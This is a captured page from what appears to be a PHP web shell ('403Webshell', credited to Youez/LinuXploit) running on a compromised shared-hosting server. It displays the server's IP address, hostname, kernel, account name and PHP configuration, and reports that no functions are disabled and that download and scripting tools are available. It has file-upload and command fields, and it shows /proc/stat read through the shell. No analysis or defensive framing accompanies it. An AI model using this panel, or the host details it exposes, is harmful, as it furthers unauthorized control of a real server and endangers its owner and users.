403Webshell
Server IP : 209.74.67.58  /  Your IP : 216.73.217.43
Web Server : LiteSpeed
System : Linux premium902.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : yiplqldd ( 2090)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/stat
cpu  13532151504 246237301 4680001750 17798064508 942846805 0 707712532 1492109 0 0
cpu0 557190861 10337138 194155691 748334653 39495176 0 33638198 61084 0 0
cpu1 561468072 10333097 194605043 744327615 39540312 0 31925119 60986 0 0
cpu2 562485626 10233126 194817505 743415641 39571850 0 30853953 60875 0 0
cpu3 563207246 10343295 195260980 742245213 39624627 0 30274452 60620 0 0
cpu4 564951540 10258030 195545010 744428123 39716211 0 26031907 60641 0 0
cpu5 566908045 10246800 195505886 742734819 39715892 0 25697848 60592 0 0
cpu6 566461430 10202554 195590448 743117727 39748006 0 25452782 60675 0 0
cpu7 566311616 10190395 195615698 743302742 39772030 0 25269890 60610 0 0
cpu8 558912132 10181191 192869699 728864164 38154291 0 50669964 71233 0 0
cpu9 557233506 10166890 193477853 728296788 38357771 0 51945413 68584 0 0
cpu10 564662645 10236059 195047195 741647041 39582007 0 28668151 60331 0 0
cpu11 568690642 10280893 195515692 733821559 37695651 0 24590086 70412 0 0
cpu12 564809808 10254830 195022717 741551830 39555060 0 28581044 60460 0 0
cpu13 563948087 10206373 194986317 742081109 39410214 0 29132188 61060 0 0
cpu14 564647083 10264562 194962596 741396024 39410511 0 29054778 60786 0 0
cpu15 549718827 10232082 194631524 755514343 39845820 0 28805917 61464 0 0
cpu16 565845190 10271609 194607653 741220587 39399073 0 28303347 60315 0 0
cpu17 563743421 10231125 194937554 742980797 39434098 0 28341941 60474 0 0
cpu18 565509934 10371907 195074332 740828142 39364368 0 28362598 60186 0 0
cpu19 565768909 10219604 195005948 740948367 39367333 0 28259595 60211 0 0
cpu20 566098849 10180824 195882283 743656372 39558526 0 24502733 60183 0 0
cpu21 566308937 10429277 195475093 743747775 39448795 0 24452490 60187 0 0
cpu22 565685762 10298086 195680727 744328053 39493285 0 24451110 60194 0 0
cpu23 571583324 10267542 195728294 735275011 37585884 0 20447017 69933 0 0
intr 139202785979 50 9 0 0 4972 0 0 0 1 0 0 0 15 0 15919863 0 0 0 0 0 0 0 0 0 0 1932131128 1012595503 0 51 0 1061139567 985776327 0 0 0 2794884632 2892105023 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 852872864753
btime 1762075797
processes 3786353135
procs_running 17
procs_blocked 0
softirq 166589639366 1 1757925055 441653 2077091594 737183225 0 3019285645 3052162725 29661215 1297065597

Youez - 2016 - github.com/yon3zu
LinuXploit